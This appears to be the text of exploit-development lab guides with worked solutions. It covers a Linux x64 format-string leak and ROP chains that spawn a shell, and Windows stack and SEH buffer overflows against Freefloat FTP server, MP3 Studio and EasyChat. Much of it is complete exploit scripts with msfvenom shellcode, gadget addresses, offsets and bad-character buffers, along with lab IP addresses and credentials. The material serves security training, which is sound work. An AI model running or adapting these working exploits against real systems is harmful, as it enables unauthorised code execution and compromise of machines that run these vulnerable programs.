● First, we will input data to the program. That


data will contain format string modifiers, so that
the program will return some data from the stack.
This will be the libc base address, based on which
we can calculate offsets to other libc functions
and the gadgets.

● We will then perform a regular buffer overflow.


Gets() is not sensitive to null-bytes, so the task
is easier.

● A ROP chain needs to be implemented. First


setuid(0), and then the magic gadget which does
execve ("/bin/sh",0,0)

The chain will look as follows.

pop RDI + [0x0 on the stack to be popped] +


setuid_addr + one_gadget_addr

The only missing information is a pointer to pop rdi;


ret which will allow to pop the setuid(0) argument
into the rdi. This can be found using the ROPgadget
tool, as follows.
Let's note down the offset from the libc base 0x21102

In addition to the current leak exploit, we will:

● Define a lambda expression for convenience

p = lambda x : pack("<Q",x) #for convenience. Now we


can just use p() instead of pack("<Q", value)

● Implement the offsets and pack the addresses

#define the offsets


magic_gadget = 0x45216 #offset to magic gadget
pop_rdi = 0x21102 #offset to pop rdi, ret in libc
setuid = 0xcd2b0 #offset to setuid() in libc

#pack and prepare the values


canary = p(canary) #the canary
magic_gadget = p(libc+magic_gadget) # address of magic
gadget
pop_rdi = p(libc + pop_rdi) # address of pop rdi; ret
converted to little endian
setuid = p(libc + setuid) # address of setuid
null = p(0x0) # 8 null bytes for setuid.

● Use these values to easily set up the buffer. This


is the data to be fed to the second binary input.

#set up the buffer and send it


payload = 'A'*136 # Offset to canary
payload += canary # Place the leaked canary in the
buffer
payload += 'B'*8 # Padding from canary to the return
address
payload += pop_rdi # First gadget: pop rdi -> ret
payload += null # 0x0# will be popped to rdi
payload += setuid # # setuid(0) is called
payload += magic_gadget # return address from setuid()
is magic_gadget
payload += "\n" # Send the payload (gets() will stop
reading at newline)

The above data, when incorporated into the exploit


result in a remote shell.

The full exploit code is available below.

from telnetlib import Telnet


from struct import pack

p = lambda x : pack("<Q",x) #for convenience. Now we


can just use p() instead of pack("<Q", value)
print "[+] Connecting to server"
s = Telnet("172.16.172.126", 5555) #connect to ip,port

s.read_until('Name:') #dont print it, just receive


s.write('%4$lx|%15$lx') # Send format string as input
to server
leak = s.read_until('Code:') # Read output until
prompt for Code:
leak = leak.replace('Enter','|') #Remove Enter from
output
leak = leak.replace('Hello ','|') #Remove Hello from
output
leak = leak.split('|') #Get rid of the rest of the
output and split it. Our values of interest are on
positions [1] and [2]
#print leak print the list - debug
canary = int(leak[2], 16) #convert the value to
integer of base 16 (hexadecimal)
libc = int(leak[1], 16)-0x5d7700 #convert the value to
integer of base 16 (hexadecimal) and subtract offset
to libc base from it
print "[+] Libc base: " + hex(libc)
print "[+] Stack canary: " + hex(canary)

#define the offsets


magic_gadget = 0x45216 #offset to magic gadget
pop_rdi = 0x21102 #offset to pop rdi, ret in libc
setuid = 0xcd2b0 #offset to setuid() in libc

#pack and prepare the values


canary = p(canary)
magic_gadget = p(libc+magic_gadget) # find address to
onegadget in libc by adding libc base to offset and
convert to little endian
pop_rdi = p(libc + pop_rdi) # address of pop rdi; ret
converted to little endian
setuid = p(libc + setuid) # address of setuid
null = p(0x0) # 8 null bytes for setuid.

#set up the buffer and send it


payload = 'A'*136 # Offset to canary
payload += canary # Place the leaked canary in the
buffer
payload += 'B'*8 # Padding from canary to the return
address
payload += pop_rdi # First gadget: pop rdi -> ret
payload += null # 0x0 will be popped to rdi
payload += setuid # setuid(0) is called
payload += magic_gadget # return address from setuid()
is magic_gadget
payload += "\n" #Send the payload (gets() will stop
readign at newline)

s.write(payload) # Enter payload into next prompt


s.read_until('.') # receive remaining part of the
output, but do not print it
s.interact()

Linux x64 ASLR Bypass LAB 16

Scenario
In this lab you will continue to learn x64 Linux
exploitation. Both the Operating System (Ubuntu 16)
and the target binary are 64-bit. The Ubuntu system
features ASLR. You will have to find a way around it.

You can connect to the lab machine via SSH. The target
IP is 172.16.172.152

In case you need root-level access for debugging, the


user below is able to run sudo.

The SSH credentials are the following.

Username: xdev
Password: xdev

Goals
● Discover vulnerabilities in the binary
● Utilize ROP

● Spawn an interactive bash shell

What you will learn


● Exploiting 64-bit buffer overflows

● Utilizing ROP during buffer overflows

● Bypassing ASLR

Recommended tools
● Gdb / gdb-peda

● ROPgadget

● Text editor

● Kali linux

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.152


● Connection Type: SSH

ssh xdev@172.16.172.152
password: xdev

Tasks
Task 1: Connect to the compromised machine
and examine the target binary
The target binary is named bypass_aslr and is
available in the xdev user's Desktop directory. As
your first task, try to identify vulnerabilities
within the binary.

Remember that:

1.The target Ubuntu system has ASLR enabled

2.The binary features no protections

Task 2: Further examine the binary and


identify a strategy to bypass ASLR
As you have figured out in Task 1, we can overwrite
the return address. We can try returning to
interesting functions but to do so, we need
predictability.

Try to find a ROP gadget within the binary itself,


where we will return first in order for the argument's
address to be popped into an appropriate register.
Then, the function will be called.
Hints:

1.Leverage the system() function that the binary


features

2.The rdi register can accommodate the system's


argument

3.Try searching for occurrences of "sh" within the


binary

Task 3: Create a POC exploit and launch it


It is time to combine all the above into a working
exploit. Serve bypass_aslr with socat on the remote
machine and then launch the exploit from your
attacker's machine to see if it works.

SOLUTIONS
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Connect to the compromised machine


and examine the target binary
Let's start by interacting with the binary. We see
that it asks for user input once and then exits.
Let's see how this program copes with overly large
inputs. Gdb-peda's pattern create will be used to
create an overly long input.

Let's execute ulimit -c unlimited first and then


provide the binary with the above input.

It looks like we managed to crash the target binary.


Let's utilize the dumped core file to identify if we
were able to overwrite the return address.

Like in the Linux x64 Basic Stack Overflow lab, we


receive no conclusive information about the rip
register. Let's see the state of the other registers.
Maybe we will have to utilize the rbp as we did on
that lab.

Indeed, rbp seems to contain a portion of our sent


buffer/payload. Let's use it to calculate the offset.

The offset to overwrite rip is 120 (112 + 8).

Task 2: Further examine the binary and


identify a strategy to bypass ASLR
Let's now focus on the functions the target binary
includes.
The system function is particularly interesting.

Let's note its address down.

In order for system to be exploitable, we need to pass


it an "sh" argument.

Let's check for "sh" occurrences within the binary, as


follows.
b *main+8 was chosen randomly

Luckily, there are "sh" occurrences within the binary


(this ensures predictability).

Let's now write the first "sh"'s address down. We will


pass "sh" as an argument to system to obtain a shell.

Finally, it's time to search for a ROP gadget within


the binary, where we will return first in order for
the argument's address to be popped into the rdi
register Then, the function will be called.

This can done with the help of ROPgadget done, as


follows.

(Execute cd ~ to find the ROPgadget tool's directory)

Let's also note this address down.

Task 3: Create a POC exploit and launch it


All the above, can be incorporated into a working
exploit, as follows.

from struct import pack


from telnetlib import Telnet

p64 = lambda x: pack("Q",x) #convert to little endian


print "[*] Connecting to server !!"
p=Telnet('172.16.172.152',5556) #connect to server
print "[*] Connected."
pop_rdi=0x4007f3 #address to pop rdi;ret
system_plt=0x400590 #address to system@plt entry
sh=0x40085c #address of 'sh' string

print p.read_until(">") #start reading

buf = "A"*120 #junk


buf+=p64(pop_rdi) #pop rdi;ret
buf+=p64(sh) # 'sh' goes into rdi
buf+=p64(system_plt) # system

print "[*] Sending payload .."


p.write(buf+'\n') #send payload
print "[*] Got shell. Enter commands."
p.interact()

To test the exploit above, first serve bypass_aslr


using socat.

Then, from inside your attacking machine launch the


exploit. You should see the below.
Windows Exploit Development

Windows Basic Stack Overflow LAB


3
Scenario
You have been tasked by your red team manager, to
refresh your Windows exploit development skills.
Specifically, he provided you with a machine
(172.16.172.40) that features a vulnerable to buffer
overflow version of the Freefloat FTP server. An
exploit skeleton* is also provided to you. Your task
is to fully exploit the buffer overflow vulnerability
of the Freefloat FTP server.

The exploit skeleton can be found on Desktop as a file


named *crash.py**.

Goals
● Fully exploit the vulnerable Freefloat FTP server
● Spawn calc.exe as a proof of concept

What you will learn


● Exploiting basic Windows stack overflows

Recommended tools
● ImmunityDbg

● Mona.py

● Python

● Notepad++

Network Configuration & Credentials


● Penetration tester's Subnet: 172.16.172.0/24
● Vulnerable machine: 172.16.172.40
● Connection Type: RDP
○ Username: elsadmin
○ Password: elsadmin1

If you are on Windows, use the mstsc command or the


Remote Desktop Connection application, and then type
the IP address.

If you are on Linux, you can use a tool like rdesktop.

Note: In case of choppy RDP performance, disconnect


from the VPN, edit the latest .ovpn file and switch
the protocol from udp to tcp. Then, re-connect to the
lab VPN using the edited .ovpn file.
Tasks
Task 1: Find the proper offset to achieve a
precise EIP overwrite
Find the proper payload length to achieve a precise
EIP overwrite. Mona's pattern_create and pattern_offset
commands can help you with that.

Task 2: Jump to your payload


Controlling the EIP register is only the beginning.
Locate the appropriate instruction in order to jump to
a location where your shellcode is stored. No hints
this time...

Task 3: Pad the jump to land precisely in the


desired place of the buffer
Redirecting execution to a buffer of choice is not
enough. We need to learn how to land precisely. This
way we can increase the reliability of our exploit.
Pad the jump to land precisely in the desired place of
the buffer.

Hint: By closely looking at the disassembly, you can


identify how you can pad the jump so that you land
precisely in the desired memory area.

Task 4: Discover any bad characters


During the course we have already discussed how a
single bad character can corrupt a whole exploit.
Utilize the usual ASCII table within your payload and
look into the debugger for any bad characters.
Hint: Search how FTP Servers usually treat CRLF
sequences.

Task 5: Generate shellcode and exploit the


ftp server
To fully exploit the vulnerable FTP server, all you
have to do is execute user-supplied shellcode. Try
spawning calc.exe as a proof of concept.

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Find the proper offset to achieve a


precise EIP overwrite
Let's start with the exploit skeleton that causes the
software to crash.
Let's attach the Immunity debugger to the software or
start it using Immunity, and then Run (F9) if the
software is in a paused state.

Then, let's launch the exploit against the server.


Remember to use the correct IP address.

After the exploit is launched, we can observe a crash


with a direct EIP overwrite. The second step will be
to figure out what is the exact number of bytes
required to overwrite the EIP precisely. We can do
this with Mona. First we create the pattern, as
follows.

We can find the generated pattern inside pattern.txt


which resides in the Immunity Debugger directory.
Then, we replace the A-buffer in the exploit skeleton
with the pattern, we restart the application and run
the exploit again.
Once the crash occurs, we can instantly pass the
result EIP address to Mona's pattern_offset utility,
as follows.

We will be presented with the below Mona output:

The output above means that we are starting to


overwrite the EIP after 247 bytes of junk buffer, and
since the sent payload was 1000bytes long, we have
plenty of space for a shellcode at its end. Let's
modify the exploit to match these conditions.

After restarting the target application and launching


the newly modified exploit, we should come across the
following.

Task 2: Jump to your payload


We know that we can successfully control the EIP.
Also, it seems that two registers (EDI and ESP) hold
references to the C-buffer. If there's an [JMP REG]
instruction, then we can overwrite EIP with its
address and start executing the C-buffer. We will
explore the JMP ESP way to do it.

Let's compare the ESP address to beginning of the C


buffer.

As we see, the ESP does not point to the very


beginning of the C-buffer - 8 bytes are omitted. In
case we jump to the ESP to start executing whatever
will be in the C-buffer (possibly the shellcode) we
need to pad it with NOPS, so that after the jump to
the ESP the program will land in the NOPs and then
follow them straight to the shellcode.

Using Mona, the JMP ESP reference can be found, as


follows.

If the Mona results window does not appear after a


short while, go to View -> Log.
Since all the modules are not protected by an exploit
countermeasure and since all of them are system
modules, it doesn't really matter which one we will
use (but it's better to stay away from the one that
contains null inside its address, as null will be most
likely treated as a line terminator and might break
the exploit).

Note: There are more addresses saved inside the


Immunity folder in the jmp.txt file. However, in this
case, we don't need more pointers as almost all the
displayed ones meet our criteria.

0x77E2D9D3 was chosen and added to the exploit.


Remember that due to endianness, the address has to be
written in reverse order, as follows.

Let's replace the C-buffer with breakpoints so in case


we start to execute it, the debugger will stop the
application, enabling us to identify that we
redirected the execution successfully.
After application is restarted, the latest exploit can
be launched against it.

Indeed, the JMP ESP was successful and program started


executing the breakpoints (previously C-buffer).

Task 3: Pad the jump to land precisely in the


desired place of the buffer
If we look into the disassembly window, we can see
that the execution started in some distance from the
beginning of the C-buffer.

This means, that for maximum some NOPs should be


placed at the beginning. Let's modify the exploit
accordingly.

If we restart the application and launch the latest


exploit, we'll land in the very beginning of the
breakpoints slide.
Since the execution flow was now successfully and
precisely redirected to the beginning of our payload
(breakpoints), it's now time for bad characters
identification.

Task 4: Discover any bad characters


Let's utilize the usual ASCII buffer to check what
bytes will be modified / rejected.

badchars =
("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d
\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x
1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\
x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3
a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\
x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5
b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\
x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7
a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\
x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9
a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\
xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xb
a\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\
xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xd
a\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\
xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xf
a\xfb\xfc\xfd\xfe\xff")
By embedding the above, the exploit will now become:

After the latest exploit is launched against the FTP


server, we can see the buffer in the stack view.

Unfortunately, it's truncated after the 0x0a byte.


Since 0x0a means new line for the FTP server, this is
a reasonable interpretation/behavior. Moreover, when
dealing with a FTP server, we can treat 0x0d in the
same way - bytes 0x0a and 0x0d are parts of the CRLF
(Carriage Return / Line Feed) sequence, also written
\r\n, and for an FTP server both of them most likely
will mean "end of the previous line and the start of a
new one". Since the FTP server treats every line sent
to it as a separate command, it is not surprising that
those bytes might break the exploit. After removing
\x0a and \x0d and relaunching both the application and
the newly modified exploit, the stack view within
ImmunityDbg looks as follows.

Now, the complete ASCII buffer (without 0x0a and 0x0d)


is visible in the stack view. That means, that there
are no more bad characters and shellcode can be
generated.

Task 5: Generate shellcode and exploit the


ftp server
We can generate a cacl-spawing shellcode with
msfvenom, as follows.

msfvenom -p windows/exec cmd=calc.exe exitfunc=thread


-b "\x00\x0a\x0d" -f c
````

Then, all we have to do is incorporate that shellcode


in our exploit, as follows.

![](https://assets.ine.com/cybersecurity-lab-images/00
b82216-3e28-4325-82d4-b38ff89cbf94/image26.png)

We can now launch the exploit against the software


outside of the debugger - just make sure the server is
running.
![](https://assets.ine.com/cybersecurity-lab-images/00
b82216-3e28-4325-82d4-b38ff89cbf94/image27.png)

If we did everything properly, calc.exe will be


spawned!

![](https://assets.ine.com/cybersecurity-lab-images/00
b82216-3e28-4325-82d4-b38ff89cbf94/image28.png)

The full exploit code can be found below.

```python
import socket, os, sys

shellcode =
("\xbf\x52\x30\xc4\xb9\xd9\xc7\xd9\x74\x24\xf4\x5d\x31
\xc9\xb1"
"\x31\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x5d\xd2\x31\x45\
x89\x90"
"\xba\xb6\x49\xf5\x33\x53\x78\x35\x27\x17\x2a\x85\x23\
x75\xc6"
"\x6e\x61\x6e\x5d\x02\xae\x81\xd6\xa9\x88\xac\xe7\x82\
xe9\xaf"
"\x6b\xd9\x3d\x10\x52\x12\x30\x51\x93\x4f\xb9\x03\x4c\
x1b\x6c"
"\xb4\xf9\x51\xad\x3f\xb1\x74\xb5\xdc\x01\x76\x94\x72\
x1a\x21"
"\x36\x74\xcf\x59\x7f\x6e\x0c\x67\xc9\x05\xe6\x13\xc8\
xcf\x37"
"\xdb\x67\x2e\xf8\x2e\x79\x76\x3e\xd1\x0c\x8e\x3d\x6c\
x17\x55"
"\x3c\xaa\x92\x4e\xe6\x39\x04\xab\x17\xed\xd3\x38\x1b\
x5a\x97"
"\x67\x3f\x5d\x74\x1c\x3b\xd6\x7b\xf3\xca\xac\x5f\xd7\
x97\x77"
"\xc1\x4e\x7d\xd9\xfe\x91\xde\x86\x5a\xd9\xf2\xd3\xd6\
x80\x98"
"\x22\x64\xbf\xee\x25\x76\xc0\x5e\x4e\x47\x4b\x31\x09\
x58\x9e"
"\x76\xf5\xba\x0b\x82\x9e\x62\xde\x2f\xc3\x94\x34\x73\
xfa\x16"
"\xbd\x0b\xf9\x07\xb4\x0e\x45\x80\x24\x62\xd6\x65\x4b\
xd1\xd7"
"\xaf\x28\xb4\x4b\x33\x81\x53\xec\xd6\xdd")

buffer = "A"*247
buffer += "\xd3\xd9\xe2\x77" #EIP 0x77E2D9D3
buffer += "\x90"*30 #NOPs
buffer += shellcode #no more breakpoints or badchars,
now shellcode is here
buffer += "C"*(1000-len(buffer))

print "[+] Sending buffer."


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('127.0.0.1',21))
s.recv(1024)
s.send('USER anonymous \r\n')
s.recv(1024)
s.send('PASS anonymous \r\n')
s.recv(1024)
s.send('HOST' + buffer + '\r\n')
s.close()
print "[+] Exploit completed."
Windows SEH Overflow (MP3 Studio)
LAB 4

Scenario
You have been tasked by your red team manager, to
refresh your Windows exploit development skills.
Specifically, he provided you with a machine
(172.16.172.37) that features a vulnerable to SEH
overflow version of MP3 Studio. An exploit skeleton*
is also provided to you. Your task is to fully exploit
the SEH-based overflow vulnerability of MP3 Studio.

*MP3 Studio is vulnerable to a SEH-based buffer


overflow via parsing .mpf files. Find below the
exploit skeleton that causes the software to crash.
Goals
● Fully exploit the vulnerable MP3 Studio software

● Spawn calc.exe as a proof of concept

What you will learn


● Attacking file parsing mechanisms

● Exploiting SEH-based stack overflows

Recommended tools
● ImmunityDbg

● Mona.py

● Python

● Notepad++
Network Configuration &
Credentials
● Penetration tester's Subnet: 172.16.172.0/24
● Vulnerable machine: 172.16.172.37
● Connection Type: RDP
○ Username: elsadmin
○ Password: elsadmin1

If you are on Windows, use the mstsc command or the


Remote Desktop Connection application, and then type
the IP address.

If you are on Linux, you can use a tool like rdesktop.

Note: In case of choppy RDP performance, disconnect


from the VPN, edit the latest .ovpn file and switch
the protocol from udp to tcp. Then, re-connect to the
lab VPN using the edited .ovpn file.

Tasks
Task 1: Recognize the exploitable conditions
Confirm the vulnerability by attaching Immunity to MP3
Studio and crashing the application, utilizing the
exploit skeleton.

Hint: Leverage Immunity's "View -> SEH chain"


functionality to see exactly how the SEH structure is
overwritten.

Task 2: Find the offset to SEH/EIP


Utilize Mona's pattern_create and pattern_offset
commands to identify the offsets to SEH and EIP.

Task 3: Move the execution flow past the SEH


entry
As discussed in the course, during SEH-based overflows
we have to redirect execution past the SEH entry.
Hint: Mona can provide us with the gadgets and the
proper jumps to achieve that.

Task 4: Discover any bad characters


During the course we have already discussed how a
single bad character can corrupt a whole exploit.
Utilize the usual ASCII table within your payload and
look into the debugger for any bad characters.

Task 5: Finalize the exploit


Fully exploit MP3 Studio so that a calc.exe is
launched.

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Recognize the exploitable conditions


Let's start MP3 Studio and attach Immunity to it.
Let's then run the exploit and drag-drop the generated
.mpf file onto the player. We are greeted by an access
violation message.

Once we pass the exception to the program, we receive


the following.

It seems that we can control the EIP via an exception


handler overwrite. Let's restart the application and
attach the debugger to it. Then, let's run the exploit
once again. Now, before passing the exception, let's
take a look at View-> SEH chain.

It's confirmed that we can overwrite the SEH structure


with "A"s. Let's now determine the proper offset to
it.

Task 2: Find the offset to SEH/EIP


Without closing the debugger window, let's use Mona to
create a pattern of proper length, as follows.

Since the pattern is too long to be displayed in the


console, it can be found inside the Immunity Debugger
folder as pattern.txt. By default, Immunity's
directory is:
C:\Program Files\Immunity Inc\Immunity Debugger

Let's paste the pattern into the exploit and then


provide the application with the latest .mpf file that
was generated.

After passing the exception to the program we use the


displayed EIP value to calculate the offset using
mona, as follows.

So, the SEH pointer is being overwritten at offset


4116. But, we should also consider that in the SEH
structure, there is an nSEH pointer before it, and it
is 4-bytes wide. We should thus subtract 4 from the
displayed value. With that said, the SEH structure is
starting to be overwritten at byte 4112. Let's modify
our exploit and confirm that calculation.
Before passing the exception into the program, let's
view the SEH chain.

It seems that we found the proper offsets. Let's pass


the exception to confirm we successfully altered the
EIP to our controlled value.

Indeed, that is the case!

Task 3: Move the execution flow past the SEH


entry
Now, let's examine the stack near the exception
handler. Is there enough place for shellcode?

There's an obstacle - the software, for some reason,


splits the payload into pieces. We will get back to
this in a while, for now, let's find a proper SEH
gadget in order to redirect execution flow to our
buffer. This can be done with Mona, as follows.

The produced gadgets can be found inside the Immunity


Debugger folder in file seh.txt.

Let's choose any of them, remembering that it should


originate from a module that has all exploit
protections set to false.

0x77ec9cac : pop edx # pop eax # ret

Let's add the above gadget into our exploit instead of


the current SEH pointer. Also, let's change the nSEH
pointer (currently B's) to breakpoints. This way, once
we start executing it, the debugger will pause letting
us to know if we are on the right direction or not.

After re-generating the .mpf file and providing it to


the restarted application, let's observe the crash.
Let's also pass the exception to the program.

Great, we have reliable code execution now. However,


if we scroll down the stack to the exception handler
structure, we will find the place that we are
currently executing code from. The payload was again
corrupted by some 0's being added there.

What can we do about this?

In the classical way of SEH exploitation, the nSEH


pointer is replaced with a short jump forward in order
to skip the SEH record (which was overwritten with the
gadget address and cannot be treated as a valid
instruction). Usually, 6 bytes are enough. In this
case, the hole in the payload is close enough to still
be in the range of a short jump. If we use a longer
jump, e.g. 32 bytes, we can still use this technique.
Let's try the following approach:

● Jump ~30 bytes forward with EB 22 (instead of the


classical EB 06 instructions)

● Replace some initial D's with NOPs, so that we


don't need to be perfectly precise with the jump
(if we land in a NOP slide, we will reach the code
that resides past it). After experimenting for a
while with the payload truncation, it seems that
50 NOPs is a reasonable value.

● Add a shellcode placeholder including a breakpoint


at the end of the NOP slide, so the debugger
pauses if we are able to reach it.
After launching the latest exploit and after passing
the exception to the program, we can see that are
executing code from our D-buffer.

Task 4: Discover any bad characters


Now, before we implement the actual shellcode, let's
check for bad characters. We will use the standard
ASCII table, as follows.

badchars =
("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d
\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x
1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\
x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3
a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\
x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5
b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\
x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7
a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\
x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9
a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\
xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xb
a\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\
xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xd
a\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\
xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xf
a\xfb\xfc\xfd\xfe\xff")

After re-loading the application, using the latest


exploit file, and passing the exception to the
program, the bad char buffer should be clearly visible
down the stack, right after the NOPs and the
breakpoint.

But, it's quickly truncated after the a0 character.


Let's remove it from the bad char buffer and try
again.

This time it is truncated after \x37. Let's continue


to investigate until we are able to see full buffer on
the stack.

Finally, the bad characters were:


\x0a\x00\x0d\x37\x1a

After removing the abovementioned bad chars, we will


be able to see the whole buffer.

Task 5: Finalize the exploit


Let's generate a calc-spawning shellcode using
msfvenom and incorporate it into exploit, as follows.

Let's now generate the exploit file, and launch MP3


player without a debugger attached.

Then, let's drag-drop the exploit file onto the


player. Calc should pop up if everything went as
expected.
Here's the full exploit code.

file = "exploit.mpf"

#msfvenom -p windows/exec cmd=calc.exe -b


"\x0a\x00\x0d\x37\x1a" -f c

sc =
("\xb8\xb2\x9e\x3c\x9c\xda\xd3\xd9\x74\x24\xf4\x5b\x29
\xc9\xb1"
"\x31\x83\xeb\xfc\x31\x43\x0f\x03\x43\xbd\x7c\xc9\x60\
x29\x02"
"\x32\x99\xa9\x63\xba\x7c\x98\xa3\xd8\xf5\x8a\x13\xaa\
x58\x26"
"\xdf\xfe\x48\xbd\xad\xd6\x7f\x76\x1b\x01\xb1\x87\x30\
x71\xd0"
"\x0b\x4b\xa6\x32\x32\x84\xbb\x33\x73\xf9\x36\x61\x2c\
x75\xe4"
"\x96\x59\xc3\x35\x1c\x11\xc5\x3d\xc1\xe1\xe4\x6c\x54\
x7a\xbf"
"\xae\x56\xaf\xcb\xe6\x40\xac\xf6\xb1\xfb\x06\x8c\x43\
x2a\x57"
"\x6d\xef\x13\x58\x9c\xf1\x54\x5e\x7f\x84\xac\x9d\x02\
x9f\x6a"
"\xdc\xd8\x2a\x69\x46\xaa\x8d\x55\x77\x7f\x4b\x1d\x7b\
x34\x1f"
"\x79\x9f\xcb\xcc\xf1\x9b\x40\xf3\xd5\x2a\x12\xd0\xf1\
x77\xc0"
"\x79\xa3\xdd\xa7\x86\xb3\xbe\x18\x23\xbf\x52\x4c\x5e\
xe2\x38"
"\x93\xec\x98\x0e\x93\xee\xa2\x3e\xfc\xdf\x29\xd1\x7b\
xe0\xfb"
"\x96\x74\xaa\xa6\xbe\x1c\x73\x33\x83\x40\x84\xe9\xc7\
x7c\x07"
"\x18\xb7\x7a\x17\x69\xb2\xc7\x9f\x81\xce\x58\x4a\xa6\
x7d\x58"
"\x5f\xc5\xe0\xca\x03\x24\x87\x6a\xa1\x38")
buffer = "A"*4112
buffer += "\xeb\x22\x90\x90" #jump more than 30 bytes
forward
buffer += "\xac\x9c\xec\x77" #0x77ec9cac : pop edx #
pop eax # ret
buffer += "\x90"*50 #NOPs
buffer += sc

f = open (file, "w")


f.write (buffer)
f.close ()
print "[+] File saved as " + file

Windows SEH Overflow (EasyChat)


LAB 5

Scenario
You have been tasked by your red team manager, to
refresh your Windows exploit development skills.
Specifically, he provided you with a machine
(172.16.172.38) that features a vulnerable to SEH
overflow version of the EasyChat server. An exploit
skeleton* is also provided to you. Your task is to
fully exploit the SEH-based overflow vulnerability of
the EasyChat server.

*Find below the exploit skeleton that causes the


application to crash.

import os, sys, socket

ip = "172.16.172.38"
port = 80

socket = socket.socket(socket.AF_INET ,
socket.SOCK_STREAM)
socket.connect((ip , port))

buffer = "A" * 725


request = "POST /registresult.htm HTTP/1.1\r\n\r\n"
request += "Host: 192.168.1.11"
request += "User-Agent: Mozilla/5.0 (X11; Linux i686;
rv:45.0) Gecko/20100101 Firefox/45.0"
request += "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,
*/*;q=0.8"
request += "Accept-Language: en-US,en;q=0.5"
request += "Accept-Encoding: gzip, deflate"
request += "Referer: http://192.168.1.11/register.ghp"
request += "Connection: close"
request += "Content-Type:
application/x-www-form-urlencoded"
request += "UserName=" + buffer
+"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.
gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit
1=Register"

socket.send(request)
data = socket.recv(4096)
print data
socket.close()

Goals
● Fully exploit the vulnerable EasyChat server

● Spawn calc.exe as a proof of concept

What you will learn


● Exploiting SEH-based stack overflows

Recommended tools
● ImmunityDbg

● Mona.py

● Python

● Notepad++
Network Configuration &
Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.38

● Connection Type: RDP

Username: elsadmin
Password: elsadmin1

If you are on Windows, use the mstsc command or the


Remote Desktop Connection application, and then type
the IP address.

If you are on Linux, you can use a tool like rdesktop.

Note 1: In case of choppy RDP performance, disconnect


from the VPN, edit the latest .ovpn file and switch
the protocol from udp to tcp. Then, re-connect to the
lab VPN using the edited .ovpn file.

Note2: Prior to any exploitation activities please


install the software using the installer found in the
"seh-easychat" directory (see below).
Tasks
Task 1: Recognize the exploitable conditions
Confirm the vulnerability by attaching Immunity to MP3
Studio and crashing the application, utilizing the
exploit skeleton.

Hint: You can also leverage Immunity's "View -> SEH


chain" functionality to see exactly how the SEH
structure is overwritten.

Note that we left the software installer inside the


lab, and you need to install it yourself. This is
because the software has an expiration period.

Task 2: Find the offset to SEH/EIP


Utilize Mona's pattern_create and pattern_offset
commands to identify the offsets to SEH and EIP.

